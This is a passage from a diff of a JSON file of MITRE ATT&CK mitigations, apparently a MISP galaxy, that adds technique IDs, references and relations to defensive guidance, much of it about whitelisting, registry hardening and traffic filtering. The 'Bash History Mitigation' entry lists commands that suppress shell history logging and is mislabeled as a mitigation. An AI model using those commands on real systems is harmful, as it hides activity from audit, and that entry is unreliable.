should be focused on preventing unwanted or unknown code from executing on a system.\n\nIdentify and block potentially malicious software that may be used to capture video and images by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", + "meta": { + "external_id": "T1125", + "refs": [ + "https://attack.mitre.org/techniques/T1125", + "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599", + "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html", + "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm", + "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx", + "https://technet.microsoft.com/en-us/library/ee791851.aspx" + ] + }, + "related": [ + { + "dest-uuid": "6faf650d-bf31-4eb4-802d-1000cf38efaf", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + } + ], + "uuid": "d9f4b5fa-2a39-4bdf-b40a-ea998933cd6d", + "value": "Video Capture Mitigation - T1125" + }, + { + "description": "Restrict users from being able to create their own login items. Additionally, holding the shift key during login prevents apps from opening automatically (Citation: Re-Open windows on Mac).", + "meta": { + "external_id": "T1162", + "refs": [ + "https://attack.mitre.org/techniques/T1162", + "https://support.apple.com/en-us/HT204005" + ] + }, + "related": [ + { + "dest-uuid": "36675cd3-fe00-454c-8516-aebecacbe9d9", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + } + ], + "uuid": "06824aa2-94a5-474c-97f6-57c2e983d885", + "value": "Login Item Mitigation - T1162" + }, + { + "description": "If it is possible to inspect HTTPS traffic, the captures can be analyzed for connections that appear to be Domain Fronting.\n\nIn order to use domain fronting, attackers will likely need to deploy additional tools to compromised systems. (Citation: FireEye APT29 Domain Fronting With TOR March 2017) (Citation: Mandiant No Easy Breach) It may be possible to detect or prevent the installation of these tools with Host-based solutions.", + "meta": { + "external_id": "T1172", + "refs": [ + "https://attack.mitre.org/techniques/T1172", + "http://www.slideshare.net/MatthewDunwoody1/no-easy-breach-derby-con-2016", + "https://www.fireeye.com/blog/threat-research/2017/03/apt29_domain_frontin.html" + ] + }, + "related": [ + { + "dest-uuid": "1ce03c65-5946-4ac9-9d4d-66db87e024bd", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + } + ], + "uuid": "62ae52c9-7197-4f5b-be1d-10d2e1df2c96", + "value": "Domain Fronting Mitigation - T1172" + }, + { + "description": "Identify and block potentially malicious software that may be executed through AppCert DLLs by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown DLLs.", + "meta": { + "external_id": "T1182", + "refs": [ + "https://attack.mitre.org/techniques/T1182", + "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599", + "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html", + "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + ] + }, + "related": [ + { + "dest-uuid": "4bf5845d-a814-4490-bc5c-ccdee6043025", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + } + ], + "uuid": "95c29444-49f9-49f7-8b20-bcd68d8fcaa6", + "value": "AppCert DLLs Mitigation - T1182" + }, + { + "description": "Because this technique involves user interaction on the endpoint, it's difficult to fully mitigate. However, there are potential mitigations. Users can be trained to identify social engineering techniques and spearphishing emails with malicious links. Other mitigations can take place as [User Execution](https://attack.mitre.org/techniques/T1204) occurs.", + "meta": { + "external_id": "T1192", + "refs": [ + "https://attack.mitre.org/techniques/T1192" + ] + }, + "related": [ + { + "dest-uuid": "20138b9d-1aac-4a26-8654-a36b6bbf2bba", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + } + ], + "uuid": "ad7f983d-d5a8-4fce-a38c-b68eda61bf4e", + "value": "Spearphishing Link Mitigation - T1192" + }, + { + "description": "Whitelist programs that are allowed to have this plist tag. All other programs should be considered suspicious.", + "meta": { + "external_id": "T1143", + "refs": [ + "https://attack.mitre.org/techniques/T1143" + ] + }, + "related": [ + { + "dest-uuid": "04ee0cb7-dac3-4c6c-9387-4c6aa096f4cf", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + } + ], + "uuid": "fae44eea-caa7-42b7-a2e2-0c815ba81b9a", + "value": "Hidden Window Mitigation - T1143" + }, + { + "description": "Use and enforce multifactor authentication. Follow guidelines to prevent or limit adversary access to [Valid Accounts](https://attack.mitre.org/techniques/T1078) that may be used to create privileged accounts within an environment.\n\nAdversaries that create local accounts on systems may have limited access within a network if access levels are properly locked down. These accounts may only be needed for persistence on individual systems and their usefulness depends on the utility of the system they reside on.\n\nProtect domain controllers by ensuring proper security configuration for critical servers. Configure access controls and firewalls to limit access to these systems. Do not allow domain administrator accounts to be used for day-to-day operations that may expose them to potential adversaries on unprivileged systems.", + "meta": { + "external_id": "T1136", + "refs": [ + "https://attack.mitre.org/techniques/T1136" + ] + }, + "related": [ + { + "dest-uuid": "e01be9c5-e763-4caf-aeb7-000b416aef67", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + } + ], + "uuid": "9a5b7194-88e0-4579-b82f-e3c27b8cca80", + "value": "Create Account Mitigation - T1136" + }, + { + "description": "There currently aren't a lot of ways to mitigate application shimming. Disabling the Shim Engine isn't recommended because Windows depends on shimming for interoperability and software may become unstable or not work. Microsoft released an optional patch update - KB3045645 - that will remove the \"auto-elevate\" flag within the sdbinst.exe. This will prevent use of application shimming to bypass UAC. \n\nChanging UAC settings to \"Always Notify\" will give the user more visibility when UAC elevation is requested, however, this option will not be popular among users due to the constant UAC interruptions.", + "meta": { + "external_id": "T1138", + "refs": [ + "https://attack.mitre.org/techniques/T1138" + ] + }, + "related": [ + { + "dest-uuid": "7c93aa74-4bc0-4a9e-90ea-f25f86301566", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + } + ], + "uuid": "cfc2d2fc-14ff-495f-bd99-585be47b804f", + "value": "Application Shimming Mitigation - T1138" + }, + { + "description": "Network intrusion prevention systems and systems designed to scan and remove malicious email attachments can be used to block activity. Solutions can be signature and behavior based, but adversaries may construct attachments in a way to avoid these systems.\n\nBlock unknown or unused attachments by default that should not be transmitted over email as a best practice to prevent some vectors, such as .scr, .exe, .pif, .cpl, etc. Some email scanning devices can open and analyze compressed and encrypted formats, such as zip and rar that may be used to conceal malicious attachments in [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027).\n\nBecause this technique involves user interaction on the endpoint, it's difficult to fully mitigate. However, there are potential mitigations. Users can be trained to identify social engineering techniques and spearphishing emails. To prevent the attachments from executing, application whitelisting can be used. Anti-virus can also automatically quarantine suspicious files.", + "meta": { + "external_id": "T1193", + "refs": [ + "https://attack.mitre.org/techniques/T1193" + ] + }, + "related": [ + { + "dest-uuid": "6aac77c4-eaf2-4366-8c13-ce50ab951f38", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + } + ], + "uuid": "8f6b5ca6-263a-4ea9-98f3-afd2a3cd8119", + "value": "Spearphishing Attachment Mitigation - T1193" + }, + { + "description": "There are multiple methods of preventing a user's command history from being flushed to their .bash_history file, including use of the following commands:\nset +o history and set -o history to start logging again;\nunset HISTFILE being added to a user's .bash_rc file; and\nln -s /dev/null ~/.bash_history to write commands to /dev/nullinstead.", + "meta": { + "external_id": "T1139", + "refs": [ + "https://attack.mitre.org/techniques/T1139" + ] + }, + "related": [ + { + "dest-uuid": "44dca04b-808d-46ca-b25f-d85236d4b9f8", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + } + ], + "uuid": "ace4daee-f914-4707-be75-843f16da2edf", + "value": "Bash History Mitigation - T1139" + }, + { + "description": "Other tools should be used to supplement Gatekeeper's functionality. Additionally, system settings can prevent applications from running that haven't been downloaded through the Apple Store which can help mitigate some of these issues.", + "meta": { + "external_id": "T1144", + "refs": [ + "https://attack.mitre.org/techniques/T1144" + ] + }, + "related": [ + { + "dest-uuid": "6fb6408c-0db3-41d9-a3a1-a32e5f16454e", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + } + ], + "uuid": "1a7f5bd3-f6ee-4bd7-b949-2f3632ad6158", + "value": "Gatekeeper Bypass Mitigation - T1144" + }, + { + "description": "Use strong passphrases for private keys to make cracking difficult. When possible, store keys on separate cryptographic hardware instead of on the local system. Ensure only authorized keys are allowed access to critical resources and audit access lists regularly. Ensure permissions are properly set on folders containing sensitive private keys to prevent unintended access. Use separate infrastructure for managing critical systems to prevent overlap of credentials and permissions on systems that could be used as vectors for lateral movement. Follow other best practices for mitigating access through use of [Valid Accounts](https://attack.mitre.org/techniques/T1078).", + "meta": { + "external_id": "T1145", + "refs": [ + "https://attack.mitre.org/techniques/T1145" + ] + }, + "related": [ + { + "dest-uuid": "56ff457d-5e39-492b-974c-dfd2b8603ffe", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + } + ], + "uuid": "f27ef4f2-71fe-48b6-b7f4-02dcac14320e", + "value": "Private Keys Mitigation - T1145" + }, + { + "description": "If the computer is domain joined, then group policy can help restrict the ability to create or hide users. Similarly, preventing the modification of the /Library/Preferences/com.apple.loginwindow Hide500Users value will force all users to be visible.", + "meta": { + "external_id": "T1147", + "refs": [ + "https://attack.mitre.org/techniques/T1147" + ] + }, + "related": [ + { + "dest-uuid": "ce73ea43-8e77-47ba-9c11-5e9c9c58b9ff", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + } + ], + "uuid": "12cba7de-0a22-4a56-b51e-c514c67c3b43", + "value": "Hidden Users Mitigation - T1147" + }, + { + "description": "Ensure SSH key pairs have strong passwords and refrain from using key-store technologies such as ssh-agent unless they are properly protected. Ensure that all private keys are stored securely in locations where only the legitimate owner has access to with strong passwords and are rotated frequently. Ensure proper file permissions are set and harden system to prevent root privilege escalation opportunities. Do not allow remote access via SSH as root or other privileged accounts. Ensure that agent forwarding is disabled on systems that do not explicitly require this feature to prevent misuse. (Citation: Symantec SSH and ssh-agent)", + "meta": { + "external_id": "T1184", + "refs": [ + "https://attack.mitre.org/techniques/T1184", + "https://www.symantec.com/connect/articles/ssh-and-ssh-agent" + ] + }, + "related": [ + { + "dest-uuid": "c1b11bf7-c68e-4fbf-a95b-28efbe7953bb", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + } + ], + "uuid": "41cff8e9-fd05-408e-b3d5-d98c54c20bcf", + "value": "SSH Hijacking Mitigation - T1184" + }, + { + "description": "Enforce valid digital signatures for signed code on all applications and only trust applications with signatures from trusted parties.", + "meta": { + "external_id": "T1149", + "refs": [ + "https://attack.mitre.org/techniques/T1149" + ] + }, + "related": [ + { + "dest-uuid": "a0a189c8-d3bd-4991-bf6f-153d185ee373", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + } + ], + "uuid": "6e7db820-9735-4545-bc64-039bc4ce354b", + "value": "LC_MAIN Hijacking Mitigation - T1149" + }, + { + "description": "Since StartupItems are deprecated, preventing all users from writing to the /Library/StartupItems directory would prevent any startup items from getting registered. Similarly, appropriate permissions should be applied such that only specific users can edit the startup items so that they can’t be leveraged for privilege escalation.", + "meta": { + "external_id": "T1165", + "refs": [ + "https://attack.mitre.org/techniques/T1165" + ] + }, + "related": [ + { + "dest-uuid": "2ba5aa71-9d15-4b22-b726-56af06d9ad2f", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + } + ], + "uuid": "94927849-03e3-4a07-8f4c-9ee21b626719", + "value": "Startup Items Mitigation - T1165" + }, + { + "description": "Prevent users from being able to write files to the search paths for applications, both in the folders where applications are run from and the standard dylib folders. If users can't write to these directories, then they can't intercept the search path.", + "meta": { + "external_id": "T1157", + "refs": [ + "https://attack.mitre.org/techniques/T1157" + ] + }, + "related": [ + { + "dest-uuid": "aa8bfbc9-78dc-41a4-a03b-7453e0fdccda", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + } + ], + "uuid": "dc43c2fe-355e-4a79-9570-3267b0992784", + "value": "Dylib Hijacking Mitigation - T1157" + }, + { + "description": "Restrict user's abilities to create Launch Agents with group policy.", + "meta": { + "external_id": "T1159", + "refs": [ + "https://attack.mitre.org/techniques/T1159" + ] + }, + "related": [ + { + "dest-uuid": "dd901512-6e37-4155-943b-453e3777b125", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + } + ], + "uuid": "121b2863-5b97-4538-acb3-f8aae070ec13", + "value": "Launch Agent Mitigation - T1159" + }, + { + "description": "Only install browser extensions from trusted sources that can be verified. Ensure extensions that are installed are the intended ones as many malicious extensions will masquerade as legitimate ones.\n\nBrowser extensions for some browsers can be controlled through Group Policy. Set a browser extension white or black list as appropriate for your security policy. (Citation: Technospot Chrome Extensions GP)\n\nChange settings to prevent the browser from installing extensions without sufficient permissions.\n\nClose out all browser sessions when finished using them.", + "meta": { + "external_id": "T1176", + "refs": [ + "https://attack.mitre.org/techniques/T1176", + "http://www.technospot.net/blogs/block-chrome-extensions-using-google-chrome-group-policy-settings/" + ] + }, + "related": [ + { + "dest-uuid": "389735f1-f21c-4208-b8f0-f8031e7169b8", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + } + ], + "uuid": "b52f41b9-ccf6-4da7-a6c0-167eeb71fbd8", + "value": "Browser Extensions Mitigation - T1176" + }, + { + "description": "This type of attack technique cannot be easily mitigated with preventive controls or patched since it is based on the abuse of operating system design features. For example, mitigating specific API calls will likely have unintended side effects, such as preventing legitimate process-loading mechanisms from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying subsequent malicious behavior.\n\nAlthough Process Doppelgänging may be used to evade certain types of defenses, it is still good practice to identify potentially malicious software that may be used to perform adversarial actions and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", + "meta": { + "external_id": "T1186", + "refs": [ + "https://attack.mitre.org/techniques/T1186", + "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599", + "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html", + "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm", + "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx", + "https://technet.microsoft.com/en-us/library/ee791851.aspx" + ] + }, + "related": [ + { + "dest-uuid": "c1a452f3-6499-4c12-b7e9-a6a0a102af76", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + } + ], + "uuid": "34d6a2ef-370e-4d21-a34b-6208b7c78f31", + "value": "Process Doppelgänging Mitigation - T1186" + }, + { + "description": "On Windows 8.1 and Server 2012 R2, enable LSA Protection by setting the Registry key HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\RunAsPPL to dword:00000001. (Citation: Microsoft LSA Protection Mar 2014) LSA Protection ensures that LSA plug-ins and drivers are only loaded if they are digitally signed with a Microsoft signature and adhere to the Microsoft Security Development Lifecycle (SDL) process guidance.\n\nOn Windows 10 and Server 2016, enable Windows Defender Credential Guard (Citation: Microsoft Enable Cred Guard April 2017) to run lsass.exe in an isolated virtualized environment without any device drivers. (Citation: Microsoft Credential Guard April 2017)\n\nEnsure safe DLL search mode is enabled HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Control\\Session Manager\\SafeDllSearchMode to mitigate risk that lsass.exe loads a malicious code library. (Citation: Microsoft DLL Security)", + "meta": { + "external_id": "T1177", + "refs": [ + "https://attack.mitre.org/techniques/T1177", + "https://technet.microsoft.com/library/dn408187.aspx", + "https://docs.microsoft.com/windows/access-protection/credential-guard/credential-guard-manage", + "https://docs.microsoft.com/windows/access-protection/credential-guard/credential-guard-how-it-works", + "https://msdn.microsoft.com/library/windows/desktop/ff919712.aspx" + ] + }, + "related": [ + { + "dest-uuid": "6e6845c2-347a-4a6f-a2d1-b74a18ebd352", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + } + ], + "uuid": "7a6e5ca3-562f-4185-a323-f3b62b5b2e6b", + "value": "LSASS Driver Mitigation - T1177" + }, + { + "description": "Block SMB traffic from exiting an enterprise network with egress filtering or by blocking TCP ports 139, 445 and UDP port 137. Filter or block WebDAV protocol traffic from exiting the network. If access to external resources over SMB and WebDAV is necessary, then traffic should be tightly limited with whitelisting. (Citation: US-CERT SMB Security) (Citation: US-CERT APT Energy Oct 2017)\n\nFor internal traffic, monitor the workstation-to-workstation unusual (vs. baseline) SMB traffic. For many networks there should not be any, but it depends on how systems on the network are configured and where resources are located.\n\nUse strong passwords to increase the difficulty of credential hashes from being cracked if they are obtained.", + "meta": { + "external_id": "T1187", + "refs": [ + "https://attack.mitre.org/techniques/T1187", + "https://www.us-cert.gov/ncas/current-activity/2017/01/16/SMB-Security-Best-Practices", + "https://www.us-cert.gov/ncas/alerts/TA17-293A" + ] + }, + "related": [ + { + "dest-uuid": "b77cf5f3-6060-475d-bd60-40ccbf28fdc2", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + } + ], + "uuid": "7009ba4d-83d4-4851-9fbb-e09e28497765", + "value": "Forced Authentication Mitigation - T1187" + }, + { + "description": "This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of operating system design features. For example, disabling all BITS functionality will likely have unintended side effects, such as preventing legitimate software patching and updating. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identification of subsequent malicious behavior. (Citation: Mondok Windows PiggyBack BITS May 2007)\n\nModify network and/or host firewall rules, as well as other network controls, to only allow legitimate BITS traffic.\n\nConsider limiting access to the BITS interface to specific users or groups. (Citation: Symantec BITS May 2007)\n\nConsider reducing the default BITS job lifetime in Group Policy or by editing the JobInactivityTimeout and MaxDownloadTime Registry values in HKEY_LOCAL_MACHINE\\Software\\Policies\\Microsoft\\Windows\\BITS. (Citation: Microsoft BITS)", + "meta": { + "external_id": "T1197", + "refs": [ + "https://attack.mitre.org/techniques/T1197", + "https://msdn.microsoft.com/library/windows/desktop/bb968799.aspx", + "https://arstechnica.com/information-technology/2007/05/malware-piggybacks-on-windows-background-intelligent-transfer-service/", + "https://www.symantec.com/connect/blogs/malware-update-windows-update" + ] + }, + "related": [ + { + "dest-uuid": "c8e87b83-edbb-48d4-9295-4974897525b7", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + } + ], + "uuid": "cb825b86-3f3b-4686-ba99-44878f5d3173", + "value": "BITS Jobs Mitigation - T1197" + }, + { + "description": "Network segmentation can be used to isolate infrastructure components that do not require broad network access. Properly manage accounts and permissions used by parties in trusted relationships to minimize potential abuse by the party and if the party is compromised by an adversary. Vet the security policies and procedures of organizations that are contracted for work that require privileged access to network resources.", + "meta": { + "external_id": "T1199", + "refs": [ + "https://attack.mitre.org/techniques/T1199" + ] + }, + "related": [ + { + "dest-uuid": "9fa07bef-9c81-421e-a8e5-ad4366c5a925", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + } + ], + "uuid": "797312d4-8a84-4daf-9c56-57da4133c322", + "value": "Trusted Relationship Mitigation - T1199" }, { "description": "Limit privileges of user accounts so only authorized users can edit the rc.common file.", "meta": { - "uuid": "be8a4233-475d-4980-9825-1bb375775637" + "external_id": "T1163", + "refs": [ + "https://attack.mitre.org/techniques/T1163" + ] }, - "value": "Rc.common Mitigation" + "related": [ + { + "dest-uuid": "18d4ab39-12ed-4a16-9fdb-ae311bba4a0f", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + } + ], + "uuid": "c3cf2312-3aab-4aaf-86e6-ab3505430482", + "value": "Rc.common Mitigation - T1163" }, { "description": "Regsvcs and Regasm may not be necessary within a given environment. Block execution of Regsvcs.exe and Regasm.exe if they are not required for a given system or network to prevent potential misuess by adversaries.", "meta": { - "uuid": "a90da496-b460-47e8-92e7-cc36eb00bd9a" + "external_id": "T1121", + "refs": [ + "https://attack.mitre.org/techniques/T1121" + ] }, - "value": "Regsvcs/Regasm Mitigation" + "related": [ + { + "dest-uuid": "215190a9-9f02-4e83-bb5f-e0589965a302", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + } + ], + "uuid": "a90da496-b460-47e8-92e7-cc36eb00bd9a", + "value": "Regsvcs/Regasm Mitigation - T1121" }, { - "description": "Microsoft's Enhanced Mitigation Experience Toolkit (EMET) Attack Surface Reduction (ASR) feature can be used to block methods of using rundll32.exe to bypass whitelisting.[[CiteRef::Secure Host Baseline EMET]]", + "description": "Install security updates in response to discovered vulnerabilities.\n\nPurchase devices with a vendor and/or mobile carrier commitment to provide security updates in a prompt manner for a set period of time.\n\nDecommission devices that will no longer receive security updates.\n\nLimit or block access to enterprise resources from devices that have not installed recent security updates.\n\nOn Android devices, access can be controlled based on each device's security patch level. On iOS devices, access can be controlled based on the iOS version.", "meta": { - "uuid": "f94033d0-906f-4ecf-9313-d498582868c6" + "external_id": "M1001", + "refs": [ + "https://attack.mitre.org/mitigations/M1001" + ] }, - "value": "Rundll32 Mitigation" + "related": [ + { + "dest-uuid": "f296fc9c-2ff5-43ee-941e-6b49c438270a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "29e07491-8947-43a3-8d4e-9a787c45f3d3", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "f1c3d071-0c24-483d-aca0-e8b8496ce468", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "b332a960-3c04-495a-827f-f17a5daed3a6", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "dfe29258-ce59-421c-9dee-e85cb9fa90cd", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "88932a8c-3a17-406f-9431-1da3ff19f6d6", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "667e5707-3843-4da8-bd34-88b922526f0d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "2d646840-f6f5-4619-a5a8-29c8316bbac5", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "702055ac-4e54-4ae9-9527-e23a38e0b160", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "351c0927-2fc1-4a2c-ad84-cbbee7eb8172", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "3b0b604f-10db-41a0-b54c-493124d455b9", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "79eec66a-9bd0-4a3f-ac82-19159e94bd44", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "a0464539-e1b7-4455-a355-12495987c300", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "e8b4e1ec-8e3b-484c-9038-4459b1ed8060", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "fd339382-bfec-4bf0-8d47-1caedc9e7e57", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "ef771e03-e080-43b4-a619-ac6f84899884", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "46d818a5-67fa-4585-a7fc-ecf15376c8d5", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "c5089859-b21f-40a3-8be4-63e381b8b1c0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + } + ], + "uuid": "bcecd036-f40e-4916-9f8e-fd0ccf0ece8d", + "value": "Security Updates - M1001" }, { - "description": "Microsoft's Enhanced Mitigation Experience Toolkit (EMET) Attack Surface Reduction (ASR) feature can be used to block regsvr32.exe from being used to bypass whitelisting.[[CiteRef::Secure Host Baseline EMET]]", + "description": "On devices that provide the capability to unlock the bootloader (hence allowing any operating system code to be flashed onto the device), perform periodic checks to ensure that the bootloader is locked.", "meta": { - "uuid": "12c13879-b7bd-4bc5-8def-aacec386d432" + "external_id": "M1003", + "refs": [ + "https://attack.mitre.org/mitigations/M1003" + ] }, - "value": "Regsvr32 Mitigation" + "related": [ + { + "dest-uuid": "46d818a5-67fa-4585-a7fc-ecf15376c8d5", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "c5089859-b21f-40a3-8be4-63e381b8b1c0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "667e5707-3843-4da8-bd34-88b922526f0d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + } + ], + "uuid": "8ccd428d-39da-4e8f-a55b-d48ea1d56e58", + "value": "Lock Bootloader - M1003" }, { - "description": "Require that all AppleScript be signed by a trusted developer ID before being executed - this will prevent random AppleScript code from executing.", + "description": "Enterprises can vet applications for exploitable vulnerabilities or unwanted (privacy-invasive or malicious) behaviors. Enterprises can inspect applications themselves or use a third-party service.\n\nEnterprises may impose policies to only allow pre-approved applications to be installed on their devices or may impose policies to block use of specific applications known to have issues. In Bring Your Own Device (BYOD) environments, enterprises may only be able to impose these policies over an enterprise-managed portion of the device.\n\nApplication Vetting is not a complete mitigation. Techniques such as [Detect App Analysis Environment](https://attack.mitre.org/techniques/T1440) exist that can enable adversaries to bypass vetting.", "meta": { - "uuid": "231540df-ee71-46ca-a686-8800157b99bf" + "external_id": "M1005", + "refs": [ + "https://attack.mitre.org/mitigations/M1005" + ] }, - "value": "AppleScript Mitigation" + "related": [ + { + "dest-uuid": "d13fa042-8f26-44e1-a2a8-af0bf8e2ac9a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "82f04b1e-5371-4a6f-be06-411f0f43b483", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "702055ac-4e54-4ae9-9527-e23a38e0b160", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "e8b4e1ec-8e3b-484c-9038-4459b1ed8060", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "89fcd02f-62dc-40b9-a54b-9ac4b1baef05", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "ef771e03-e080-43b4-a619-ac6f84899884", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "f981d199-2720-467e-9dc9-eea04dbe05cf", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "dd818ea5-adf5-41c7-93b5-f3b839a219fb", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "3b0b604f-10db-41a0-b54c-493124d455b9", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "3dd58c80-4c2e-458c-9503-1b2cd273c4d2", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "79eec66a-9bd0-4a3f-ac82-19159e94bd44", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "77e30eee-fd48-40b4-99ec-73e97c158b58", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "d9db3d46-66ca-44b4-9daa-1ef97cb7465a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "99e6295e-741b-4857-b6e5-64989eb039b4", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "d731c21e-f27d-4756-b418-0e2aaabd6d63", + "tags": [ + 